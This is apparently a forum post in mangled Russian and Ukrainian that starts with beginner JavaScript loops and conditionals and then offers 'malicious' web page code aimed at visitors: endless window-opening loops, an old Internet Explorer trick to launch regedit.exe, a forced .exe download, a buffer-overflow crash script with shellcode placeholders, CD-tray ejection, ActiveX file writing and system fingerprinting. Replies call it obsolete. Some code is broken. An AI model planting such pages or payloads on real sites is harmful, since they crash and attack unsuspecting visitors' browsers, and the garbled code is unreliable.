Для начала я вам покажу несколько приметивних скриптов для понимания в дальнейшом... Придуприждаю чо стаття разчинана на чуваков каторые хочь чото знают с програмировання на явескрипне... Так чо начньом... -----------------------------------------/пример #1.0/------------ <html> <head> <title>schet</title> <script type="text/JavaScript"> //начало for ( i=0; i<10; i++){ // если ты учил циклы ты знаеш чо етот скрипт будет выполнятса до тех пор пока і=10 // сначало нужно присвоить і=0, і++ ето i=i+1 document.write(i); // выводим результат, без лапок для зминих, с лапками выводитса текст, пример -> document.write("<br>"); // ето с хтмл скрипт делает то чо и ЕНТЕР. } //конец цикла document.write("Vot primer"); // наш пример </script> //конец </head> </html> -----------------------------------------/пример #1.1/------------ <html> <head> <title>ravnost</title> </head> <body> <script type="text/javascript"> var x=20; //присваевания х=20 var y=15; // у=15 document.writeln("x=20 есть больше за y=15 ?"); выводин запрос на екран document.writeln("<br>Відповідь:"); document.writeln(x>y); выводит на екран результат тру или фолс в даном примере тру... </script> <body> </html> -----------------------------------------/пример #1.2/------------ <html> <head> <title>ravnost2</title> <script type="text/JavaScript"> if (4<5) { // ето оператор переходу (тыпа если тру то выполяняетса оператор1, если фолс то оператор2) alert("Yes COOL");//(оператор1) если тру то на екран выйдет ответ... }else if (4==4) { //(оператор2) чем интересно то чо if можно продолжать // если отвер фост то мы перейдьом на else if(4==4) и сново проверяетса верность document.writeln("тру");//(оператор1.2) если верно (тру)... }else{ document.writeln("фолс"); //(оператор2.2) если нет (фолс)... } </script> </head> </html> -----------------------------------------/пример #1.3/------------ <html> <head> <title>Kalkulator</title> </head> <body> <script type="text/javascript"> var x; var y; x=100/10; // формула x document.write("x=100/10=" + x ); // выводит на екран формулу после чево выводим результат // внимания штоб вывести нужно поставить + , просто так поставить // Х невозможно. y=1000/100; // формула y document.write("<br>y=1000/100=" + y); // тоже чо и в Х. document.write("<br> Рівні чи ці значення X і Y ? "); //Запрос на равность true document.write("<br>" + "Відповідь: "); document.writeln(x == y ); // выводет результат равны лы результата Х и У </script> <body> </html> ------------------------------------------------------------------------ Принято считать, что программы на JavaScript безопасные, т.к. выполняются на виртуальной машине. JavaScript будет работать на любом хостинге, программный код выполняется по умолчанию, не спрашивая разрешения пользователя. Все это делает возможным использования вредоносного программного кода на JavaScript доступным даже для неопытного пользователя. Для этого достаточно зарегистрироваться на любом бесплатном хостинге, создать файл index.html, положить его в корневую директорию сервера и залить туда JavaScript код. Примечания(ети скрипты придуманы не мной)... -----------------------------------------/пример #2.0/------------ етоти скрипты открывают безконечно окна бравзера ИЕ... 1. <script> now(); function now() {for (i=1;i>0;i++){ open('die.htm','new'+i);} } </script> Вот ищо 2 скрипта 2. <html> <head> <script language = javascript> function generate_windows(){ var i=1; while (i < 10000){ // Главный цикл window.open("script3.htm"); // Новое окно с ссылкой на тот же HTML файл i++; } } </script> </head> <body onload = "generate_windows()"> </body> </html> 3. <script> function aaa() { for(; { mW= open("http://www.***.ru/", "", ""); } } </script> <body onload="aaa();" onUnLoad="aaa();"> </body> -----------------------------------------/пример #2.1/------------ А вот этот код позволяет запустить на компьютере пользователя любую программу, если известен путь к ней. Думаю, что не стоит говорить, что это достаточно серьёзный баг. В данном примере будет запущен редактор реестра : <span datasrc="#oExec" datafld="exploit" dataformatas="html"></span> <xml id="oExec"> <security><exploit><![CDATA[ <object id="oFile" classid="clsid:11111111-1111-1111-1111-111111111111" codebase="c:/WINDOWS/regedit.exe"> </object> ]]></exploit></security> </xml> -----------------------------------------/пример #2.2/------------Следующий код позволяет инициировать загрузку любого файла с сервера: <iframe src="zapadlo.exe"> -----------------------------------------/пример #2.3/------------ Ниже приведены два кода, каждый из которых вызывает переполнение буфера в Internet Explorer и закрытие всех или части его окон. Можно, например, кого-то выкинуть из чата. Вот первый: <object id="test" data="#" width="100%" height="100%" type="text/x-scriptlet" VIEWASTEXT </object> А вот второй: <script> wnd=open("about:blank","",""); wnd.moveTo(screen.Width,screen.Height); WndDoc=wnd.document; WndDoc.open(); WndDoc.clear(); buffer="??????"; shellcode = "???????"; for(i=0; i<7; i++)buffer+=buffer; buffer=buffer.substring(0, buffer.length-shellcode.length); buffer+=shellcode; for(; i<16; i++)buffer+=buffer; for(i=0; i<2; i++)WndDoc.write(buffer); buffer=""; for(i=1;i<=127;i++)buffer+="A"; buffer+="3APA3A "; WndDoc.write("<HR align='"+buffer+"'>"); WndDoc.execCommand("SelectAll"); WndDoc.execCommand("Copy"); wnd.close(); </script> -----------------------------------------/пример #2.3/------------ А с помощью вот этого кода можно открыть CD-ROM на атакуемом компьютере. Внимания скрипт на VBScript <SCRIPT language="VBScript"> <!-- Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next ' cdrom End If --> </SCRIPT> -----------------------------------------/пример #2.4/------------ закрывает браузер IE: <object> classid="clsid:7007ACCF-3202-11D1-AAD2-00805FC1270E"> </object> \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Теперь перейдьом к болие интересной теме. Я уже несколько раз бросал осмотра... -----------------------------------------/пример #3.0/------------ Создание файлов при помощи JavaScript и VBScript Многие книги по Web-программированию отрицают возможность создания и использование файлов на клиентском компьютере. однако, это совсем не так. Я в этом убедился, когда копаясь по документации VBScript и JavaScript, внезапно обнаружил эти функции. Недостаток их в том, что перед их выполнением IE и другие браузеры запрашивают подтверждение на их выполнение, но это и правильно, кто знает, что этот программист задумал ввести в файл... Давайте теперь приступим к самим функциям. 1. Создание пустого файла. На первый взглад эта функция может показаться бесполезной, однако, как вы занесете данные в файл, не имея самого файла, не будем же мы потртить фалы посетителя нашей страници. Для того, чтобы создать пустой файл с помощью VBSctipt надо написать в HTML-файле следующий код: <script language="VBScript"> Dim fso, f1 Set fso = CreateObject("Scripting.FileSystemObject") Set f1 = fso.CreateTextFile("c:\testfile.txt", True) </script> Ту же самую функцию выполняет и следующий код, написанный уже на JavaScirpt: <script language="JavaScript"> var fso, f1; fso = new ActiveXObject("Scripting.FileSystemObject"); f1 = fso.CreateTextFile("c:\\testfile.txt", true); </script> Вот теперь, создав чистый файл, можно приступить к его заполнению... 2. Запись данных в файл. а) Открытие файла. Для того, чтобы открыть файл надо применить следующий скрипт: Dim fso, ts Const ForWriting = 2 Set fso = CreateObject("Scripting. FileSystemObject") Set ts = fspenTextFile("c:\test.txt", ForWriting, True) Данный скипт написан на VBScript. Здесь по-моему все понятно. ForWriting - флаг, показывающий зачем открывать файл. Вот тот же скрипт на JavaScript: var fso, ts; var ForWriting= 2; fso = new ActiveXObject("Scripting.FileSystemObject"); ts = fspenTextFile("c:\\test.txt", ForWriting, true); Надо отметить, что при этом файлы будут автоматически создаваться. б) Непосредственная запись в файл. Для занесения строчек текста в файл используется следующие методы: Задача Метод 1)Втавка новой строки, с последующей возможностью добавления в этуже строку данных, т.е. в конце строки нет символов переноса строки и возврата каретки. Write 2)Втавка новой строки с переносом на следующую. WriteLine 3)Вставка одной или несколких пустых строк. WriteBlankLines Вот примеры скриптов. На VBScript: Sub CreateFile() Dim fso, tf Set fso = CreateObject("Scripting.FileSystemObject") Set tf = fso.CreateTextFile("c:\testfile.txt", True) ' Вставка строки с переносом на новую. tf.WriteLine("Testing 1, 2, 3.") ' Вставка 3 путых строк. tf.WriteBlankLines(3) ' Вставка новой строки, без переноса. tf.Write ("This is a test.") ' Закрытие файла. tf.Close End Sub На JavaScript: function CreateFile() { var fso, tf; fso = new ActiveXObject("Scripting.FileSystemObject"); tf = fso.CreateTextFile("c:\\testfile.txt", true); // Вставка строки с переносом на новую. tf.WriteLine("Testing 1, 2, 3.") ; // Вставка 3 путых строк. tf.WriteBlankLines(3) ; // Вставка новой строки, без переноса. tf.Write ("This is a test."); ' Закрытие файла. tf.Close(); } -----------------------------------------/пример #3.1/------------ <html> <head> <title>Вывод списка дисков на страницу</title> <style> body {font-size:12px; font-family:verdana; line-height:20px;} </style> <script> function ShowDriveList() { var fso, s, n, e, x, ds; fso = new ActiveXObject("Scripting.FileSystemObject"); e = new Enumerator(fso.Drives); s = ""; for (; !e.atEnd(); e.moveNext()) { x = e.item(); s = s + x.DriveLetter; s += " - "; if (x.DriveType == 3) n = x.ShareName; else if (x.IsReady) { n = x.VolumeName; if (n=="") n="[Нет метки тома]" ds=x.TotalSize; ds=String(ds/(1024*1024*1024)); ds=ds.substring(0,4) } else { n = "[Диск отсутствует]"; ds=0} s += n +" - " + ds + " Гб<br>"; } document.write(s); } </script> </head> <script> ShowDriveList() </script> </html> <a href="#" onClick="create_folder()">Создать каталог</a> | <a href="#" onClick="DeleteFolder('c:\\new_folder')">Удалить каталог</a> </html> -----------------------------------------/пример #3.2/------------ Вывод списка дисков на страницу + сколько зайнато и свабодно... <html> <head> <title>Вывод списка дисков на страницу</title> <style> body {font-size:12px; font-family:verdana; line-height:20px;} </style> <script> function ShowDriveList() { var fso, s, n, e, x, ds; fso = new ActiveXObject("Scripting.FileSystemObject"); e = new Enumerator(fso.Drives); s = ""; for (; !e.atEnd(); e.moveNext()) { x = e.item(); s = s + x.DriveLetter; s += " - "; if (x.DriveType == 3) n = x.ShareName; else if (x.IsReady) { n = x.VolumeName; if (n=="") n="[Нет метки тома]" ds=x.TotalSize; ds=String(ds/(1024*1024*1024)); ds=ds.substring(0,4) } else { n = "[Диск отсутствует]"; ds=0} s += n +" - " + ds + " Гб<br>"; } document.write(s); } </script> </head> <script> ShowDriveList() </script> </html> -----------------------------------------/пример #3.3/------------ Крем АЙ можно узнать вот ищо коечо... <HTML> <HEAD> <STYLE> /*определение стилевого свойства:*/ .#cc {behavior:url(#default#clientCaps)} </STYLE> </HEAD> <BODY> <!-- Объект, к которому будет обращаться за информацией: --> <span id=cc></span> <!-- Объект для вывода информации --> <PRE id=txt></PRE> <SCRIPT> <!-- function window.onload() //объявляем функцию, которая будет выполняться при загрузке страницы { inf = //допустимая высота: "availHeight = " + cc.availHeight + "\n" + //допустимая ширина: "availWidth = " + cc.availWidth + "\n" + //глубина цвета: "colorDepth = " + cc.colorDepth + "\n" + //тип подключения (offline, если отключен): "connectionType = " + cc.connectionType + "\n" + //поддержка cookie: "cookieEnabled = " + cc.cookieEnabled + "\n" + //класс процессора: "cpuClass = " + cc.cpuClass + "\n" + //разрешение монитора (width*height) "width = " + cc.width + "\n" + "height = " + cc.height + "\n" + //поддержка Java: "javaEnabled = " + cc.javaEnabled + "\n" + //платформа, на которой работает пользователь: "platform = " + cc.platform + "\n" + //системный и пользовательский языки "systemLanguage = " + cc.systemLanguage + "\n" + "userLanguage = " + cc.userLanguage + "\n"; //вывод информации на экран: txt.innerText = inf; } --> </SCRIPT> </BODY> </HTML> Как видим, JavaScript оказался не таким уж и безобидным. А что же говорить об элементах ActiveX! С их помощью можно вообще делать с компом атакуемого практичиске всьо... Ету тему меня попросил написать (.......) Скажу чо лутше купить букс и учить, или скачать с нета учебник так лутше поймьоте о чом идьот речь... За ошыбки в тексте не ругайте )) Если чото не нравится в ТЕМЕ сильно не бейте...
Книга представляет собой уникальное наглядное пособие по основам программирования на языке сценариев Java Script. В ней рассмотрены базовые средства Java Script и методы их использования для решения конкретных задач, возникающих при разработке Web-страниц.Читатель узнает, как сделать Web-страницы динамическими, из более чем двухсот коротких уроков, каждый из которых основан на одном-двух примерах, наглядно демонстрирующих результаты работы операторов Java Script. В книге содержится около 500 копий экранов с текстами сценариев и Web-страниц. http://rapidshare.de/files/15579292/Merd_jav.rar.html Если кому интересно, размер - 6,5 мб ------------------------------------------------------------ Мда.... ---------- А в целом это ОЧЕНЬ старое гАвно. Которое нифига уже давно даже не смотрится, не говоря о том чтобы работать...
Хотя бы по-украински уже правильно написал... Эхх.. Мда... Это что за "явескрипне".. А по теме: см. пост Trampled_cloverа.